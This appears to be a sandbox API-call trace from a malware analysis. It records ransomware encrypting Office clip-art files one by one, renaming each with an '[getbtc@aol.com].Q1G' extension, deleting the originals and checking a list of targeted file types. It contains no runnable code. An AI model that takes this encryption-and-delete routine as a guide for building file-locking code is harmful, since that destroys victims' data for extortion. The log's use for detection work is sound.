[0055.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0055.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.158] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.158] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.159] GetLastError () returned 0x0 [0055.159] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0xd32, lpOverlapped=0x0) returned 1 [0055.160] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xd40, lpOverlapped=0x0) returned 1 [0055.161] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.161] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.161] SetEndOfFile (hFile=0x214) returned 1 [0055.161] CloseHandle (hObject=0x214) returned 1 [0055.162] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.162] SetEndOfFile (hFile=0x234) returned 1 [0055.162] CloseHandle (hObject=0x234) returned 1 [0055.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0055.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.163] lstrlenW (lpString=".doc") returned 4 [0055.163] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.163] lstrlenW (lpString=".docx") returned 5 [0055.163] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.163] lstrlenW (lpString=".pdf") returned 4 [0055.163] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.163] lstrlenW (lpString=".xls") returned 4 [0055.163] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.163] lstrlenW (lpString=".xlsx") returned 5 [0055.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.163] lstrlenW (lpString=".ppt") returned 4 [0055.163] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.163] lstrlenW (lpString=".zip") returned 4 [0055.163] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.163] lstrlenW (lpString=".rar") returned 4 [0055.163] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.163] lstrlenW (lpString=".bz2") returned 4 [0055.163] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.163] lstrlenW (lpString=".7z") returned 3 [0055.163] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.163] lstrlenW (lpString=".dbf") returned 4 [0055.163] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.163] lstrlenW (lpString=".1cd") returned 4 [0055.164] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.164] lstrlenW (lpString=".jpg") returned 4 [0055.164] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.164] lstrlenW (lpString=".doc") returned 4 [0055.164] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.164] lstrlenW (lpString=".docx") returned 5 [0055.164] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.164] lstrlenW (lpString=".pdf") returned 4 [0055.164] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.164] lstrlenW (lpString=".xls") returned 4 [0055.164] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.164] lstrlenW (lpString=".xlsx") returned 5 [0055.164] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.164] lstrlenW (lpString=".ppt") returned 4 [0055.164] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.164] lstrlenW (lpString=".zip") returned 4 [0055.164] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.164] lstrlenW (lpString=".rar") returned 4 [0055.164] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.164] lstrlenW (lpString=".bz2") returned 4 [0055.164] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.164] lstrlenW (lpString=".7z") returned 3 [0055.164] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.164] lstrlenW (lpString=".dbf") returned 4 [0055.164] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.164] lstrlenW (lpString=".1cd") returned 4 [0055.164] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0055.165] lstrlenW (lpString=".jpg") returned 4 [0055.165] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.165] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0055.165] lstrlenW (lpString="AG00176_.GIF") returned 12 [0055.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.165] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3120) returned 1 [0055.165] CloseHandle (hObject=0x234) returned 1 [0055.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0055.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.165] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.165] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.166] GetLastError () returned 0x0 [0055.166] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0xc30, lpOverlapped=0x0) returned 1 [0055.167] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xc40, lpOverlapped=0x0) returned 1 [0055.168] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.168] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.168] SetEndOfFile (hFile=0x214) returned 1 [0055.168] CloseHandle (hObject=0x214) returned 1 [0055.169] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.169] SetEndOfFile (hFile=0x234) returned 1 [0055.169] CloseHandle (hObject=0x234) returned 1 [0055.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0055.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.170] lstrlenW (lpString=".doc") returned 4 [0055.170] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.170] lstrlenW (lpString=".docx") returned 5 [0055.170] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.170] lstrlenW (lpString=".pdf") returned 4 [0055.170] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.170] lstrlenW (lpString=".xls") returned 4 [0055.170] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.170] lstrlenW (lpString=".xlsx") returned 5 [0055.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.170] lstrlenW (lpString=".ppt") returned 4 [0055.170] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.170] lstrlenW (lpString=".zip") returned 4 [0055.170] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.170] lstrlenW (lpString=".rar") returned 4 [0055.170] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.170] lstrlenW (lpString=".bz2") returned 4 [0055.170] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.170] lstrlenW (lpString=".7z") returned 3 [0055.170] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.170] lstrlenW (lpString=".dbf") returned 4 [0055.170] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.170] lstrlenW (lpString=".1cd") returned 4 [0055.170] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.171] lstrlenW (lpString=".jpg") returned 4 [0055.171] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.171] lstrlenW (lpString=".doc") returned 4 [0055.171] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.171] lstrlenW (lpString=".docx") returned 5 [0055.171] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.171] lstrlenW (lpString=".pdf") returned 4 [0055.171] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.171] lstrlenW (lpString=".xls") returned 4 [0055.171] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.171] lstrlenW (lpString=".xlsx") returned 5 [0055.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.171] lstrlenW (lpString=".ppt") returned 4 [0055.171] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.171] lstrlenW (lpString=".zip") returned 4 [0055.171] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.171] lstrlenW (lpString=".rar") returned 4 [0055.171] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.171] lstrlenW (lpString=".bz2") returned 4 [0055.171] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.171] lstrlenW (lpString=".7z") returned 3 [0055.171] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.171] lstrlenW (lpString=".dbf") returned 4 [0055.171] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.171] lstrlenW (lpString=".1cd") returned 4 [0055.171] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 63 [0055.171] lstrlenW (lpString=".jpg") returned 4 [0055.171] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.172] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.172] lstrlenW (lpString="AN00010_.WMF") returned 12 [0055.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.172] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3026) returned 1 [0055.173] CloseHandle (hObject=0x1fc) returned 1 [0055.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0055.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.173] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.173] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.173] GetLastError () returned 0x0 [0055.173] ReadFile (in: hFile=0x1fc, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0xbd2, lpOverlapped=0x0) returned 1 [0055.174] WriteFile (in: hFile=0x234, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0055.175] ReadFile (in: hFile=0x1fc, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.175] WriteFile (in: hFile=0x234, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.175] SetEndOfFile (hFile=0x234) returned 1 [0055.176] CloseHandle (hObject=0x234) returned 1 [0055.176] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.176] SetEndOfFile (hFile=0x1fc) returned 1 [0055.176] CloseHandle (hObject=0x1fc) returned 1 [0055.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0055.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.177] lstrlenW (lpString=".doc") returned 4 [0055.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.177] lstrlenW (lpString=".docx") returned 5 [0055.177] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.177] lstrlenW (lpString=".pdf") returned 4 [0055.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.177] lstrlenW (lpString=".xls") returned 4 [0055.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.177] lstrlenW (lpString=".xlsx") returned 5 [0055.177] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.177] lstrlenW (lpString=".ppt") returned 4 [0055.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.177] lstrlenW (lpString=".zip") returned 4 [0055.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.177] lstrlenW (lpString=".rar") returned 4 [0055.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.177] lstrlenW (lpString=".bz2") returned 4 [0055.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.178] lstrlenW (lpString=".7z") returned 3 [0055.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.178] lstrlenW (lpString=".dbf") returned 4 [0055.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.178] lstrlenW (lpString=".1cd") returned 4 [0055.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.178] lstrlenW (lpString=".jpg") returned 4 [0055.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.178] lstrlenW (lpString=".doc") returned 4 [0055.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.178] lstrlenW (lpString=".docx") returned 5 [0055.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.178] lstrlenW (lpString=".pdf") returned 4 [0055.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.178] lstrlenW (lpString=".xls") returned 4 [0055.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.178] lstrlenW (lpString=".xlsx") returned 5 [0055.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.178] lstrlenW (lpString=".ppt") returned 4 [0055.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.178] lstrlenW (lpString=".zip") returned 4 [0055.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.178] lstrlenW (lpString=".rar") returned 4 [0055.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.178] lstrlenW (lpString=".bz2") returned 4 [0055.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.178] lstrlenW (lpString=".7z") returned 3 [0055.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.179] lstrlenW (lpString=".dbf") returned 4 [0055.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.179] lstrlenW (lpString=".1cd") returned 4 [0055.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0055.179] lstrlenW (lpString=".jpg") returned 4 [0055.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.179] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.179] lstrlenW (lpString="AN00015_.WMF") returned 12 [0055.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0055.179] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=4734) returned 1 [0055.179] CloseHandle (hObject=0x1fc) returned 1 [0055.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf")) returned 0x20 [0055.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 